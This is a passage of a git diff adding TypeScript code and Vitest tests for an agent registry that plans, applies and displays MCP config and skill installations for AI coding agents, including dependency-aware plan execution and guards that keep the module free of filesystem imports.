null,+ }),+});++export const AGENT_REGISTRY: Readonly<Record<AgentId, AgentRecord>> = {+ claude,+ 'claude-desktop': claudeDesktop,+ cursor,+ codex,+ copilot,+ opencode,+ openclaw,+ pi,+ antigravity,+ 'lm-studio': lmStudio,+ hermes,+ gemini,+};++export function getAgentRecord(id: string): AgentRecord | undefined {+ return (AGENT_REGISTRY as Record<string, AgentRecord | undefined>)[id];+}++export const ALL_SATISFIERS: readonly SatisfierRecord[] = Object.values(AGENT_REGISTRY).flatMap(+ (agent) => agent.satisfiers,+);++const SATISFIERS_BY_ID = new Map<string, SatisfierRecord>(+ ALL_SATISFIERS.map((satisfier) => [satisfier.id, satisfier]),+);++export function getSatisfierRecord(id: string): SatisfierRecord | undefined {+ return SATISFIERS_BY_ID.get(id);+}diff --git a/packages/core/src/agent-registry/apply.test.ts b/packages/core/src/agent-registry/apply.test.tsnew file mode 100644index 000000000..200de9d00--- /dev/null+++ b/packages/core/src/agent-registry/apply.test.ts@@ -0,0 +1,323 @@+import { describe, expect, test } from 'vitest';+import { type ApplyErrorId, type ExecutedOutcome, executePlan } from './apply.ts';+import { buildConnectionsView } from './connections.ts';+import type { SatisfierId } from './ids.ts';+import { type ApplyIntent, type IntentPlan, type PlannedStep, planIntents } from './intents.ts';+import type { ProbeSnapshot } from './snapshot.ts';+import type { ApplyAction, SurfaceState } from './vocabulary.ts';++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry' as SatisfierId;+const CLAUDE_PROJECT_SKILL = 'claude/skill/project/skill-bundle-copy' as SatisfierId;+const CLAUDE_USER_MCP = 'claude/mcp/user/config-entry' as SatisfierId;+const COPILOT_PROJECT_MCP = 'copilot/mcp/project/config-entry' as SatisfierId;+const LM_STUDIO_USER_MCP = 'lm-studio/mcp/user/config-entry' as SatisfierId;++function probesWith(states: Record<string, SurfaceState>): ProbeSnapshot {+ return {+ env: 'desktop',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ };+}++function planWith(intents: ApplyIntent[], states: Record<string, SurfaceState> = {}): IntentPlan {+ return planIntents(+ intents,+ buildConnectionsView({+ probes: probesWith(states),+ detection: {+ detected: [...new Set(intents.map((i) => i.satisfierId.split('/')[0]))] as never,+ probed: true,+ },+ }),+ );+}++function want(id: SatisfierId): ApplyIntent {+ return { satisfierId: id, desired: 'present' };+}++function drop(id: SatisfierId): ApplyIntent {+ return { satisfierId: id, desired: 'absent' };+}++function actionFor(+ report: Awaited<ReturnType<typeof executePlan>>,+ id: SatisfierId,+): { action: ApplyAction; errorId?: ApplyErrorId } | undefined {+ const found = report.actions.find((entry) => entry.satisfierId === id);+ return found === undefined+ ? undefined+ : { action: found.action, ...(found.errorId === undefined ? {} : { errorId: found.errorId }) };+}++function recordingExecutor(answer: (step: PlannedStep) => ExecutedOutcome) {+ const seen: SatisfierId[] = [];+ return {+ seen,+ execute: (step: PlannedStep): ExecutedOutcome => {+ seen.push(step.satisfierId);+ return answer(step);+ },+ };+}++const WROTE: ExecutedOutcome = { action: 'written' };++describe('executePlan', () => {+ test('runs an ordered plan and reports one action per step', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });+ const executor = recordingExecutor(() => WROTE);++ const report = await executePlan(plan, executor.execute);++ expect(report.actions.map((entry) => entry.satisfierId)).toEqual(+ plan.steps.map((step) => step.satisfierId),+ );+ expect(report.actions.every((entry) => entry.action === 'written')).toBe(true);+ });++ test('runs prerequisites before the work that needs them', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });+ const executor = recordingExecutor(() => WROTE);++ await executePlan(plan, executor.execute);++ expect(executor.seen).toEqual([CLAUDE_PROJECT_MCP, CLAUDE_PROJECT_SKILL]);+ });++ test('carries the step identity onto its action so a row can be found again', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'absent' });++ const report = await executePlan(plan, () => WROTE);++ expect(report.actions[0]).toMatchObject({+ satisfierId: CLAUDE_PROJECT_MCP,+ agentId: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ pathId: 'editor-project-config:claude',+ desired: 'present',+ action: 'written',+ });+ });++ test('a failed write does not stop the batch', async () => {+ const plan = planWith([want(CLAUDE_USER_MCP), want(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_USER_MCP]: 'absent',+ [CLAUDE_PROJECT_MCP]: 'absent',+ });++ const report = await executePlan(plan, (step) =>+ step.satisfierId === CLAUDE_USER_MCP ? { action: 'failed', errorId: 'write-failed' } : WROTE,+ );++ expect(actionFor(report, CLAUDE_USER_MCP)).toEqual({+ action: 'failed',+ errorId: 'write-failed',+ });+ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({ action: 'written' });+ });++ test('an executor that throws becomes a failed item, not a thrown batch', async () => {+ const plan = planWith([want(CLAUDE_USER_MCP), want(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_USER_MCP]: 'absent',+ [CLAUDE_PROJECT_MCP]: 'absent',+ });++ const report = await executePlan(plan, (step) => {+ if (step.satisfierId === CLAUDE_USER_MCP) throw new Error('disk on fire');+ return WROTE;+ });++ expect(actionFor(report, CLAUDE_USER_MCP)).toEqual({+ action: 'failed',+ errorId: 'executor-threw',+ });+ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({ action: 'written' });+ });++ test('an unusable answer is a failure, never a silent success', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'absent' });++ const report = await executePlan(plan, () => ({ action: 'wrote-it' }) as never);++ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({+ action: 'failed',+ errorId: 'unrecognized-outcome',+ });+ });++ test('an error id the vocabulary does not carry is dropped, not passed through', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'absent' });++ const report = await executePlan(+ plan,+ () => ({ action: 'failed', errorId: '/Users/mike/secret/path' }) as never,+ );++ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({ action: 'failed' });+ });++ test('work whose prerequisite failed is skipped rather than attempted', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });+ const executor = recordingExecutor((step) =>+ step.satisfierId === CLAUDE_PROJECT_MCP+ ? { action: 'failed', errorId: 'write-failed' }+ : WROTE,+ );++ const report = await executePlan(plan, executor.execute);++ expect(executor.seen).toEqual([CLAUDE_PROJECT_MCP]);+ expect(actionFor(report, CLAUDE_PROJECT_SKILL)).toEqual({+ action: 'skipped-prerequisite',+ errorId: 'dependency-failed',+ });+ });++ test('a declined project config skips the project skill that depends on it', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });++ const report = await executePlan(plan, (step) =>+ step.satisfierId === CLAUDE_PROJECT_MCP+ ? { action: 'declined', errorId: 'write-declined' }+ : WROTE,+ );++ expect(actionFor(report, CLAUDE_PROJECT_SKILL)?.action).toBe('skipped-prerequisite');+ });++ test('a handed-off prerequisite blocks its dependent — nobody clicked yet', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });++ const report = await executePlan(plan, (step) =>+ step.satisfierId === CLAUDE_PROJECT_MCP ? { action: 'handed-off' } : WROTE,+ );++ expect(actionFor(report, CLAUDE_PROJECT_SKILL)?.action).toBe('skipped-prerequisite');+ });++ test('an artifact already in the requested state is left untouched', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'satisfied' });+ const executor = recordingExecutor(() => WROTE);++ const report = await executePlan(plan, executor.execute);++ expect(executor.seen).toEqual([]);+ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({ action: 'unchanged' });+ });++ test('re-running the same Save writes nothing the second time', async () => {+ const first = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'absent' });+ const firstRun = recordingExecutor(() => WROTE);+ await executePlan(first, firstRun.execute);++ const second = planWith([want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'satisfied' });+ const secondRun = recordingExecutor(() => WROTE);+ const report = await executePlan(second, secondRun.execute);++ expect(firstRun.seen).toEqual([CLAUDE_PROJECT_MCP]);+ expect(secondRun.seen).toEqual([]);+ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toEqual({ action: 'unchanged' });+ });++ test('something OK cannot install is never handed to a writer', async () => {+ const plan = planWith([want(LM_STUDIO_USER_MCP)], { [LM_STUDIO_USER_MCP]: 'absent' });+ const executor = recordingExecutor(() => WROTE);++ const report = await executePlan(plan, executor.execute);++ expect(executor.seen).toEqual([]);+ expect(actionFor(report, LM_STUDIO_USER_MCP)).toEqual({+ action: 'skipped-unsupported',+ errorId: 'not-installable',+ });+ });++ test('a plan whose only step is unwritable still reports that step', async () => {+ const plan = planWith([want(LM_STUDIO_USER_MCP)], { [LM_STUDIO_USER_MCP]: 'absent' });++ const report = await executePlan(plan, () => WROTE);++ expect(report.actions).toHaveLength(1);+ expect(report.conflicts).toEqual([]);+ });++ test('conflicts and withheld work survive into the report', async () => {+ const plan = planWith([drop(COPILOT_PROJECT_MCP)], {+ [COPILOT_PROJECT_MCP]: 'satisfied',+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ });++ const report = await executePlan(plan, () => WROTE);++ expect(report.conflicts.map((conflict) => conflict.kind)).toContain('unresolved-shared-copy');+ expect(report.withheld).toContain(COPILOT_PROJECT_MCP);+ expect(report.actions).toEqual([]);+ });++ test('an empty plan is a no-op, not a failure', async () => {+ const report = await executePlan(planIntents([], buildConnectionsView()), () => WROTE);++ expect(report).toEqual({ actions: [], conflicts: [], withheld: [] });+ });++ test('a plan that never arrived is treated as empty', async () => {+ await expect(executePlan(undefined, () => WROTE)).resolves.toEqual({+ actions: [],+ conflicts: [],+ withheld: [],+ });+ await expect(executePlan(null, () => WROTE)).resolves.toEqual({+ actions: [],+ conflicts: [],+ withheld: [],+ });+ });++ test('an async executor is awaited before the next step runs', async () => {+ const plan = planWith([want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });+ const order: string[] = [];++ await executePlan(plan, async (step) => {+ order.push(`start:${step.satisfierId}`);+ await Promise.resolve();+ order.push(`end:${step.satisfierId}`);+ return WROTE;+ });++ expect(order).toEqual([+ `start:${CLAUDE_PROJECT_MCP}`,+ `end:${CLAUDE_PROJECT_MCP}`,+ `start:${CLAUDE_PROJECT_SKILL}`,+ `end:${CLAUDE_PROJECT_SKILL}`,+ ]);+ });++ test('a removal reports what it removed', async () => {+ const plan = planWith([drop(CLAUDE_USER_MCP)], { [CLAUDE_USER_MCP]: 'satisfied' });++ const report = await executePlan(plan, () => ({ action: 'removed' }));++ expect(actionFor(report, CLAUDE_USER_MCP)).toEqual({ action: 'removed' });+ });+});diff --git a/packages/core/src/agent-registry/apply.ts b/packages/core/src/agent-registry/apply.tsnew file mode 100644index 000000000..53ee28a83--- /dev/null+++ b/packages/core/src/agent-registry/apply.ts@@ -0,0 +1,130 @@+import type { AgentId, IntegrationPiece, PathId, SatisfierId, SatisfierScope } from './ids.ts';+import type { IntentDesire, IntentPlan, PlanConflict, PlannedStep } from './intents.ts';+import { APPLY_ACTIONS, type ApplyAction, type SatisfierKind } from './vocabulary.ts';++export const APPLY_ERROR_IDS = [+ 'not-installable',+ 'no-writer',+ 'surface-missing',+ 'foreign-artifact',+ 'write-declined',+ 'write-failed',+ 'executor-threw',+ 'unrecognized-outcome',+ 'dependency-failed',+] as const;++export type ApplyErrorId = (typeof APPLY_ERROR_IDS)[number];++export interface ExecutedOutcome {+ readonly action: ApplyAction;+ readonly errorId?: ApplyErrorId;+}++export type StepExecutor = (step: PlannedStep) => ExecutedOutcome | Promise<ExecutedOutcome>;++export interface AppliedStep {+ readonly satisfierId: SatisfierId;+ readonly agentId: AgentId;+ readonly piece: IntegrationPiece;+ readonly scope: SatisfierScope;+ readonly kind: SatisfierKind;+ readonly pathId?: PathId;+ readonly desired: IntentDesire;+ readonly action: ApplyAction;+ readonly errorId?: ApplyErrorId;+}++export interface ApplyReport {+ readonly actions: readonly AppliedStep[];+ readonly conflicts: readonly PlanConflict[];+ readonly withheld: readonly SatisfierId[];+}++const SETTLED_ACTIONS: readonly ApplyAction[] = [+ 'written',+ 'overwritten',+ 'removed',+ 'unchanged',+ 'no-op',+];++const APPLY_ACTION_VALUES = new Set<string>(APPLY_ACTIONS);++function isRecord(value: unknown): value is Record<string, unknown> {+ return typeof value === 'object' && value !== null;+}++function readOutcome(value: unknown): ExecutedOutcome | null {+ if (!isRecord(value)) return null;+ const { action, errorId } = value as { action?: unknown; errorId?: unknown };+ if (typeof action !== 'string' || !APPLY_ACTION_VALUES.has(action)) return null;+ const id =+ typeof errorId === 'string' && (APPLY_ERROR_IDS as readonly string[]).includes(errorId)+ ? (errorId as ApplyErrorId)+ : undefined;+ return id === undefined+ ? { action: action as ApplyAction }+ : { action: action as ApplyAction, errorId: id };+}++function describe(step: PlannedStep, outcome: ExecutedOutcome): AppliedStep {+ return {+ satisfierId: step.satisfierId,+ agentId: step.agentId,+ piece: step.piece,+ scope: step.scope,+ kind: step.kind,+ ...(step.pathId === undefined ? {} : { pathId: step.pathId }),+ desired: step.desired,+ action: outcome.action,+ ...(outcome.errorId === undefined ? {} : { errorId: outcome.errorId }),+ };+}++async function runStep(execute: StepExecutor, step: PlannedStep): Promise<ExecutedOutcome> {+ if (step.alreadyInDesiredState) return { action: 'unchanged' };+ if (step.installability === 'not-installable') {+ return { action: 'skipped-unsupported', errorId: 'not-installable' };+ }+ if (step.installability === 'user-completes') return { action: 'handed-off' };++ let raw: unknown;+ try {+ raw = await execute(step);+ } catch {+ return { action: 'failed', errorId: 'executor-threw' };+ }+ return readOutcome(raw) ?? { action: 'failed', errorId: 'unrecognized-outcome' };+}++export async function executePlan(+ plan: IntentPlan | null | undefined,+ execute: StepExecutor,+): Promise<ApplyReport> {+ const steps = isRecord(plan) && Array.isArray(plan.steps) ? plan.steps : [];+ const conflicts = isRecord(plan) && Array.isArray(plan.conflicts) ? plan.conflicts : [];+ const planWithheld = isRecord(plan) && Array.isArray(plan.withheld) ? plan.withheld : [];++ const actions: AppliedStep[] = [];+ const unsettled = new Set<SatisfierId>();++ for (const step of steps) {+ if (!isRecord(step) || typeof step.satisfierId !== 'string') continue;+ const planned = step as unknown as PlannedStep;++ if (planned.dependsOn.some((id) => unsettled.has(id))) {+ unsettled.add(planned.satisfierId);+ actions.push(+ describe(planned, { action: 'skipped-prerequisite', errorId: 'dependency-failed' }),+ );+ continue;+ }++ const outcome = await runStep(execute, planned);+ if (!SETTLED_ACTIONS.includes(outcome.action)) unsettled.add(planned.satisfierId);+ actions.push(describe(planned, outcome));+ }++ return { actions, conflicts, withheld: planWithheld };+}diff --git a/packages/core/src/agent-registry/browser-compat.test.ts b/packages/core/src/agent-registry/browser-compat.test.tsnew file mode 100644index 000000000..c09ab03a7--- /dev/null+++ b/packages/core/src/agent-registry/browser-compat.test.ts@@ -0,0 +1,59 @@+/**+ * STOP: the agent-registry entrypoint must stay importable from the renderer.+ *+ * The registry is static capability data that the settings screen and the+ * launchers read directly. The moment anything under `agent-registry/` reaches+ * for the filesystem — or pulls in the server package to get at a predicate —+ * the renderer bundle breaks, and it breaks at runtime in a packaged build+ * rather than at build time here. Probing belongs to the hosts; they hand core+ * a snapshot.+ *+ * The guard is a runtime one rather than a source-text scan so it sees+ * TRANSITIVE imports too: every Node builtin and the server package are+ * poisoned to throw on load, then the entrypoint is imported for real. A+ * builtin reached from any depth blows up the import with the offending+ * specifier in the message.+ */++import { builtinModules } from 'node:module';+import { expect, it, vi } from 'vitest';++const POISONED_PACKAGES = ['@inkeep/open-knowledge-server'];++function poisonNodeAndServerModules(): void {+ for (const name of builtinModules) {+ const factory = () => {+ throw new Error(`agent-registry reached a Node builtin: ${name}`);+ };+ vi.doMock(name, factory);+ vi.doMock(`node:${name}`, factory);+ }+ for (const name of POISONED_PACKAGES) {+ vi.doMock(name, () => {+ throw new Error(`agent-registry reached a server-only package: ${name}`);+ });+ }+}++it('loads with no filesystem and no server package anywhere in its import graph', async () => {+ vi.resetModules();+ poisonNodeAndServerModules();++ const registry = await import('./index.ts');++ expect(registry.ALL_AGENT_IDS).toHaveLength(12);+ expect(Object.keys(registry.STATE_POLICY)).toHaveLength(registry.KNOWN_SURFACE_STATES.length);+ expect(registry.assessReadiness({ agentId: 'claude', mode: 'terminal' }).verdict).toBe('ready');++ vi.doUnmock('node:fs');+ vi.resetModules();+});++it('would notice a filesystem import, so the guard above is not vacuous', async () => {+ vi.resetModules();+ poisonNodeAndServerModules();++ await expect(import('node:fs')).rejects.toThrow();++ vi.resetModules();+});diff --git a/packages/core/src/agent-registry/capabilities.test.ts b/packages/core/src/agent-registry/capabilities.test.tsnew file mode 100644index 000000000..bdb0ae7c7--- /dev/null+++ b/packages/core/src/agent-registry/capabilities.test.ts@@ -0,0 +1,64 @@+import { describe, expect, it } from 'vitest';+import { AGENT_REGISTRY } from './agents.ts';+import { CAPABILITY_IDS, CAPABILITY_RECORDS, getCapabilityRecord } from './capabilities.ts';+import { CapabilityRecordSchema } from './schema.ts';++describe('the capability table', () => {+ it('parses', () => {+ for (const record of CAPABILITY_RECORDS) {+ expect(CapabilityRecordSchema.parse(record)).toMatchObject({ id: record.id });+ }+ });++ it('gives every grant a unique id', () => {+ expect(new Set(CAPABILITY_IDS).size).toBe(CAPABILITY_RECORDS.length);+ });++ it('looks a grant up by id', () => {+ expect(getCapabilityRecord('mcp-preapproval')?.scope).toBe('project');+ expect(getCapabilityRecord('nope')).toBeUndefined();+ });+});++describe('what each grant is allowed to accept', () => {+ it('pins pre-approval to the exact predicate on the project entry', () => {+ expect(getCapabilityRecord('mcp-preapproval')).toMatchObject({+ piece: 'mcp',+ scope: 'project',+ requiredStrictness: 'pre-approval-exact',+ });+ });++ it('lets tool auto-approve read either scope', () => {+ const record = getCapabilityRecord('tool-autoapprove');+ expect(record?.scope).toBeUndefined();+ expect(record?.requiredStrictness).toBe('pre-approval-exact');+ });++ it('guards every multi-scope grant against a name shadow', () => {+ for (const record of CAPABILITY_RECORDS) {+ if (record.scope === undefined) expect(record.revokedByForeignEntry).toBe(true);+ }+ });++ it('never accepts an answer weaker than the exact predicate', () => {+ for (const record of CAPABILITY_RECORDS) {+ expect(record.requiredStrictness).toBe('pre-approval-exact');+ }+ });+});++describe('reachability from the registry data', () => {+ it('names a strictness some satisfier actually declares', () => {+ const declared = new Set(+ Object.values(AGENT_REGISTRY)+ .flatMap((agent) => agent.satisfiers)+ .flatMap((satisfier) =>+ satisfier.probe.mode === 'probeable' ? satisfier.probe.strictness : [],+ ),+ );+ for (const record of CAPABILITY_RECORDS) {+ expect(declared).toContain(record.requiredStrictness);+ }+ });+});diff --git a/packages/core/src/agent-registry/capabilities.ts b/packages/core/src/agent-registry/capabilities.tsnew file mode 100644index 000000000..5c1d5bbff--- /dev/null+++ b/packages/core/src/agent-registry/capabilities.ts@@ -0,0 +1,36 @@+import type { CapabilityRecord } from './schema.ts';++/**+ * STOP: `mcp-preapproval` authorizes running a server the user has not+ * approved. Its inputs are RCE-class — the exact-match predicate on the+ * project entry, and nothing else. Widening its scope or accepting a weaker+ * predicate for it is not a tuning decision.+ *+ * It is deliberately pinned to the project scope: the flag it feeds names+ * servers declared in the workspace file and means nothing without an entry+ * there, so a global answer must never grant it. It needs no foreign-entry+ * revocation either — it reads one scope, and a foreign entry in that scope+ * fails the exact predicate outright.+ */+const MCP_PREAPPROVAL: CapabilityRecord = {+ id: 'mcp-preapproval',+ piece: 'mcp',+ scope: 'project',+ requiredStrictness: 'pre-approval-exact',+ revokedByForeignEntry: false,+};++const TOOL_AUTOAPPROVE: CapabilityRecord = {+ id: 'tool-autoapprove',+ piece: 'mcp',+ requiredStrictness: 'pre-approval-exact',+ revokedByForeignEntry: true,+};++export const CAPABILITY_RECORDS: readonly CapabilityRecord[] = [MCP_PREAPPROVAL, TOOL_AUTOAPPROVE];++export const CAPABILITY_IDS: readonly string[] = CAPABILITY_RECORDS.map((record) => record.id);++export function getCapabilityRecord(id: string): CapabilityRecord | undefined {+ return CAPABILITY_RECORDS.find((record) => record.id === id);+}diff --git a/packages/core/src/agent-registry/connections.test.ts b/packages/core/src/agent-registry/connections.test.tsnew file mode 100644index 000000000..d962137aa--- /dev/null+++ b/packages/core/src/agent-registry/connections.test.ts@@ -0,0 +1,395 @@+import { describe, expect, it } from 'vitest';+import {+ AGENT_REGISTRY,+ ALL_SATISFIERS,+ buildConnectionsView,+ type ConnectionCell,+ type ConnectionRow,+ type ConnectionsView,+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ KNOWN_SURFACE_STATES,+ type ProbeSnapshot,+ type SatisfierId,+ STATE_POLICY,+ type SurfaceState,+} from './index.ts';++function snapshotOf(states: Record<string, SurfaceState>): ProbeSnapshot {+ return {+ env: 'desktop',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ };+}++function rowFor(view: ConnectionsView, agentId: string): ConnectionRow {+ const row = view.rows.find((candidate) => candidate.agentId === agentId);+ if (row === undefined) throw new Error(`no row for ${agentId}`);+ return row;+}++function allCells(row: ConnectionRow): ConnectionCell[] {+ return row.scopes.flatMap((scope) => scope.cells);+}++function cellFor(view: ConnectionsView, satisfierId: string): ConnectionCell {+ const cell = view.rows+ .flatMap(allCells)+ .find((candidate) => candidate.satisfierId === satisfierId);+ if (cell === undefined) throw new Error(`no cell for ${satisfierId}`);+ return cell;+}++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry';+const CLAUDE_USER_MCP = 'claude/mcp/user/config-entry';+const CLAUDE_PROJECT_SKILL = 'claude/skill/project/skill-bundle-copy';+const CLAUDE_USER_SKILL = 'claude/skill/user/skill-bundle-copy';+const COPILOT_PROJECT_MCP = 'copilot/mcp/project/config-entry';+const LM_STUDIO_USER_MCP = 'lm-studio/mcp/user/config-entry';++describe('the shape of the view', () => {+ it('returns a row per registered agent, grouped by scope', () => {+ const view = buildConnectionsView({+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+ });++ expect(view.rows.map((row) => row.agentId)).toEqual(Object.keys(AGENT_REGISTRY));+ const claude = rowFor(view, 'claude');+ expect(claude.scopes.map((scope) => scope.scope)).toEqual(['project', 'user']);+ expect(allCells(claude).length).toBeGreaterThan(0);+ });++ it('narrows to the agents the caller asked about', () => {+ const view = buildConnectionsView({ agentIds: ['claude', 'codex'] });+ expect(view.rows.map((row) => row.agentId)).toEqual(['claude', 'codex']);+ });++ it('drops an id the registry knows nothing about', () => {+ const view = buildConnectionsView({ agentIds: ['claude', 'some-long-tail-agent'] });+ expect(view.rows.map((row) => row.agentId)).toEqual(['claude']);+ });+});++describe('the checkbox', () => {+ it('is checked exactly when the state counts, for every state there is', () => {+ for (const state of KNOWN_SURFACE_STATES) {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: state }),+ });+ const cell = cellFor(view, CLAUDE_PROJECT_MCP);++ expect(cell.state).toBe(state);+ expect(cell.checked).toBe(STATE_POLICY[state].counts);+ expect(cell.exception).toBe(STATE_POLICY[state].exception);+ }+ });++ it('leaves a state this build has no row for unchecked', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: 'invented-by-a-newer-host' }),+ });+ const cell = cellFor(view, CLAUDE_PROJECT_MCP);++ expect(cell.state).toBe('invented-by-a-newer-host');+ expect(cell.checked).toBe(false);+ expect(cell.exception).toBe(STATE_POLICY.unprobed.exception);+ });++ it('renders one control per satisfier, carrying no mode of its own', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: 'unprobed' }),+ });+ const matches = allCells(rowFor(view, 'claude')).filter(+ (cell) => cell.satisfierId === CLAUDE_PROJECT_MCP,+ );++ expect(matches).toHaveLength(1);+ expect(matches[0]?.checked).toBe(STATE_POLICY.unprobed.counts);+ expect(Object.keys(matches[0] ?? {})).not.toContain('mode');+ });+});++describe('what does and does not become a cell', () => {+ it('never renders a satisfier that exists only while a session is open', () => {+ const view = buildConnectionsView({});+ const rendered = new Set(view.rows.flatMap(allCells).map((cell) => cell.satisfierId));++ const sessionIds = ALL_SATISFIERS.filter(+ (satisfier) => satisfier.kind === 'session-injection',+ ).map((satisfier) => satisfier.id);++ expect(sessionIds.length).toBeGreaterThan(0);+ for (const id of sessionIds) expect(rendered.has(id)).toBe(false);+ });++ it('renders every disk-backed satisfier the registry declares', () => {+ const view = buildConnectionsView({});+ const rendered = new Set(view.rows.flatMap(allCells).map((cell) => cell.satisfierId));++ for (const satisfier of ALL_SATISFIERS) {+ if (satisfier.kind === 'session-injection') continue;+ expect(rendered.has(satisfier.id)).toBe(true);+ }+ });++ it('gives an agent with no on-disk surface no cells at all', () => {+ const view = buildConnectionsView({ agentIds: ['gemini'] });+ const gemini = rowFor(view, 'gemini');++ expect(allCells(gemini)).toEqual([]);+ });+});++describe('a surface that is not there', () => {+ it('reports structural-na on the row rather than dropping its cells', () => {+ const structural = Object.fromEntries(+ AGENT_REGISTRY.claude.satisfiers+ .filter((satisfier) => satisfier.kind !== 'session-injection')+ .map((satisfier) => [satisfier.id, 'structural-na' as SurfaceState]),+ );+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf(structural),+ detection: EMPTY_DETECTION_SNAPSHOT,+ });+ const claude = rowFor(view, 'claude');++ expect(allCells(claude).length).toBeGreaterThan(0);+ for (const cell of allCells(claude)) {+ expect(cell.enabled).toBe(false);+ expect(cell.disabledReason).toBe('structural-na');+ }+ });+});++describe('something nobody found', () => {+ it('folds an undetected satisfier instead of calling it a failure', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_USER_MCP]: 'undetected' }),+ });+ const cell = cellFor(view, CLAUDE_USER_MCP);++ expect(cell.folded).toBe(true);+ expect(cell.exception).toBeNull();+ expect(cell.checked).toBe(false);+ });++ it('folds a row for an agent the registry only offers once it is proven', () => {+ const view = buildConnectionsView({+ agentIds: ['lm-studio'],+ detection: { detected: ['claude'], probed: true },+ });+ const row = rowFor(view, 'lm-studio');++ expect(AGENT_REGISTRY['lm-studio'].offerOnlyWhenDetected).toBe(true);+ expect(row.detected).toBe(false);+ expect(row.folded).toBe(true);+ });++ it('claims nothing about an agent nobody looked for', () => {+ const view = buildConnectionsView({+ agentIds: ['lm-studio'],+ detection: EMPTY_DETECTION_SNAPSHOT,+ });+ const row = rowFor(view, 'lm-studio');++ expect(row.detected).toBeNull();+ expect(row.folded).toBe(false);+ });+});++describe('a control the user may not use', () => {+ it('offers a replaceable foreign entry as an unchecked overwrite, chip on', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: 'foreign-replaceable' }),+ });+ const cell = cellFor(view, CLAUDE_PROJECT_MCP);++ expect(cell.enabled).toBe(true);+ expect(cell.disabledReason).toBeNull();+ expect(cell.exception).toBe('warning');+ expect(cell.checked).toBe(false);+ });++ it('keeps a foreign entry off where the writer would merge into it', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: 'foreign' }),+ });+ const cell = cellFor(view, CLAUDE_PROJECT_MCP);++ expect(cell.enabled).toBe(false);+ expect(cell.disabledReason).toBe('foreign');+ expect(cell.exception).toBe('warning');+ expect(cell.checked).toBe(false);+ });++ it('names the artifact a gated cell is waiting on', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ }),+ });+ const skill = cellFor(view, CLAUDE_PROJECT_SKILL);++ expect(skill.enabled).toBe(true);+ expect(skill.disabledReason).toBe(null);+ expect(skill.unmetPrerequisites).toContain(CLAUDE_PROJECT_MCP as SatisfierId);+ });++ it('lets the prerequisite itself stay actionable, or the gate could never clear', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ }),+ });++ expect(cellFor(view, CLAUDE_PROJECT_MCP).enabled).toBe(true);+ });++ it('opens the gate once the prerequisite is in place', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ }),+ });+ const skill = cellFor(view, CLAUDE_PROJECT_SKILL);++ expect(skill.unmetPrerequisites).toEqual([]);+ expect(skill.enabled).toBe(true);+ expect(skill.disabledReason).toBeNull();+ });++ it('does not offer to install what OK has no way to install', () => {+ const view = 